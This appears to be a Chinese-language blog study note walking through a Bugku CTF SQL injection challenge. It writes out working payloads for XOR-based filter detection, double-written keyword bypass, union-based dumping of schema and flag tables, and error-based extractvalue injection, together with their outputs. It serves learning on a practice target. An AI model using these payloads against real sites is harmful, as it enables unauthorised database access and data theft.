twelfth-day

 · 2019-8-11 · 次阅读


36.多次(http://123.206.87.240:9004/1ndex.php?id=1)
  进入链接后会看到 there is nothing.可以看到url上面有个?id=1猜测可能是sql注入,但没有输入框又不像。先F12看一下,无任何线索,本题有2个flag,flag均为小写,flag格式 flag{}这是题目本身自带的提示。感觉没啥用.现在回到url上,试试url上的id.

当不断修改id时页面上显示的英文也会发生变化,当试到id=5时发现提示,You can do some SQL injection in here.说明这是一道sql注入题,我得sql注入学的很烂但既然做到了要给它继续做下去。

  打开Hacabar,当id>5时就报error,说明了id的范围是1->5.0也是无效的。我们来试试联合查询,在尝试多次后无果,应当尝试找出其过滤点,在其他博文中学习到了一种新的异或注入在id=1后面输入’(0)’发现不出错那就将0换成1=1如果出错,就是成功了。如果括号里面的判断是假的,那么页面就会显示正确
那么同理,如果我修改里面的内容为length(‘union’)!=0如果页面显示正确,那就证明length(‘union’)==0的,也就是union被过滤了。这里异或的符号是^检查union是否被过滤构造payload:?id=1’^(length(‘union’)!=0)^’发现页面返回正确,由于是异或关系,前面id=1为真因而后面的union长度不为0是假的因而Union长度为0,也就是被过滤掉了。同理可以测试(and,or,select)这些也都被过滤掉了,因而可以尝试双写或者大小写绕过。
  首先猜测字段数目,id=1’ oorrder by 3#,这里#也被过滤了,修改数字后一直页面没变化,那就用–+隔开最后的’则构造payload:id=1’ oorrder by 3–+ 其中当by为3时页面报错为2时页面正常因而猜测字段数为2.
  下一步是爆库,id=-1’ uunionnion sselectelect 1,database() –+ 查到了数据库名为web1002-1。继续
  开始爆表,采用之前用的group_concat进行。payload:id=-1’ uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=’web1002-1’–+ 发现一个flag表和一个hint表,这道题最开始提示说有两个flag因而hint表应当是下一个flag的提示,先查询flag里面的字段名以及字段内容。
  爆取flag中的字段。payload:id=-1’ ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns
where table_schema=”web1002-1” anandd table_name=”flag1”–+ 获得flag1和address字段。
  获取字段内容:payload:?id=-1’ uunionnion sselectelect 1,group_concat(flag1) from flag1–+ 得到usOwycTju+FTUUzXosjr这是一个假flag.看一下address字段里面的内容。payload:?id=-1’ uunionnion sselectelect 1,group_concat(address) from flag1–+
出现:./Once_More.php以及一个链接:下一关地址,这可能就是最后一次了,点进去链接。。。这又是一个sql注入吗。加入’后页面报错,You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’’ at line 1说明又是一个字符型注入。然后尝试联合注入,显示中union被过滤掉了,双写大小写绕过试试。均被过滤,由于之前用’测试时给出了错误回显,因而这道题只能使用报错注入了。
  爆库?id=1’ and
(extractvalue(1,concat(0x7e,database(),0x7e)))–+
获得错误回显:XPATH syntax error: ‘web1002-2
  同理爆表?id=1’ and
(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables
where table_schema=”web1002-2”),0x7e)))–+
获得错误回显:XPATH syntax error: ‘class,flag2
  同理爆字段名?id=1’ and
(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns
where table_schema=”web1002-2” and table_name=”flag2”),0x7e)))–+
获得错误回显:XPATH syntax error: ‘flag2,address
  同理爆字段内容?id=1’ and
(extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e)))–+
获得错误回显:XPATH syntax error: ‘flag{Bugku-sql_6s-2i-4t-bug}‘拿下flag.我们再看一下,,,这里面的address不会还有吧,我要疯了。payload:?id=1’ and
(extractvalue(1,concat(0x7e,(select group_concat(address) from flag2),0x7e)))–+,我得天哪错误回显:XPATH syntax error: ‘./Have_Fun.php‘也就是还有一个php,打开看看。
  summary:今天先做到这里了,明天继续,今天就做了这一道题还没有做完,我得SQL注入学的实在太差了,关于检查是否过滤,以及它的注入类型等等。以及报错注入等都掌握的不太好,只能属于能看懂但构造不出来的样子。在其他大佬的博文下勉强完成了这道题,后面我还会接着自己重新做几次。这道题在sql注入中的确算的上经典,但其实如果我上课的网络攻防那里的报错注入学好了。这里也不是特别难,继续努力吧。